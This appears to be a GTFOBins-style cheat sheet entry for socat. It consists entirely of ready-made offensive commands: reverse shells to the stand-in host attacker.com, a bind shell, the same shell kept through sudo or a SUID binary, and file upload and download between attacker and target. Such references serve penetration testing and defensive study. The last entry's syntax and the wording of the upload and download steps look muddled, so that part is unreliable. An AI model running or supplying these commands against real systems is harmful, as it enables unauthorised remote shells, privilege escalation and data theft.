GTFOBins.github.io/_gtfobins/socat.md
2020-04-25 19:32:52 +02:00

1.5 KiB

functions
reverse-shell bind-shell sudo limited-suid upload download
description code
Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. RHOST=attacker.com RPORT=12345 socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane
description code
Run ``socat FILE:`tty`,raw,echo=0 TCP:target.com:12345`` on the attacker box to connect to the shell. LPORT=12345 socat TCP-LISTEN:$LPORT,reuseaddr,fork EXEC:sh,pty,stderr,setsid,sigint,sane
description code
Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. RHOST=attacker.com RPORT=12345 sudo -E socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane
description code
Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. RHOST=attacker.com RPORT=12345 ./socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane
description code
Run ``socat -u file:path tcp:ip:12345`` on the attacker box to send a file to your box. RHOST=attacker.com RPORT=12345 ./socat tcp-connect:$RHOST:$RPORT file:path
description code
Run ``socat -u TCP-LISTEN:12345,reuseaddr OPEN:path,creat`` on your box to receive a file from attacker box. RHOST=attacker.com RPORT=12345 ./socat tcp-listen:$RHOST:$RPORT,reuseaddr OPEN:path,creat